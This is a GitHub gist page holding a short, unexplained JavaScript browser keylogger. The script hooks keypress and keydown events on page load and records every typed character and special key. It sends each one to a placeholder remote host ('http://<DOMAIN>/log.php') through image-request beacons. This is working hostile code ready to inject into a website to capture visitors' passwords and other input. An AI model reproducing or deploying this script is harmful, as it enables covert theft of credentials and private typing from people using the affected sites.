Skip to content

Instantly share code, notes, and snippets.

@tatanus
Last active February 23, 2016 07:23
Show Gist options
  • Save tatanus/1d58b261099b927ad3b0 to your computer and use it in GitHub Desktop.
Save tatanus/1d58b261099b927ad3b0 to your computer and use it in GitHub Desktop.
window.onload = function load(){
if (window.addEventListener) {
document.addEventListener('keypress', p, true);
document.addEventListener('keydown', d, true);
} else if (window.attachEvent) {
document.attachEvent('onkeypress', p);
document.attachEvent('onkeydown', d);
} else {
document.onkeypress = p;
document.onkeydown = d;
}
}
function p(e){
k = (window.event) ? window.event.keyCode : e.which;
if (k == 43){ log("[ADD]") }
else { log(String.fromCharCode(k)) }
}
function d(e){
k = (window.event) ? window.event.keyCode : e.which;
if (k == 8) { log("[BACKSPACE]"); }
else if (k == 9) { log("[TAB]"); }
else if (k == 13){ log("[ENTER]"); }
else if (k == 35){ log("[END]") }
else if (k == 36){ log("[HOME]") }
else if (k == 37){ log("[<--]") }
else if (k == 39){ log("[-->]") }
}
function log(k){
if (k) {
new Image().src = 'http://<DOMAIN>/log.php?c=' + encodeURI(k);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment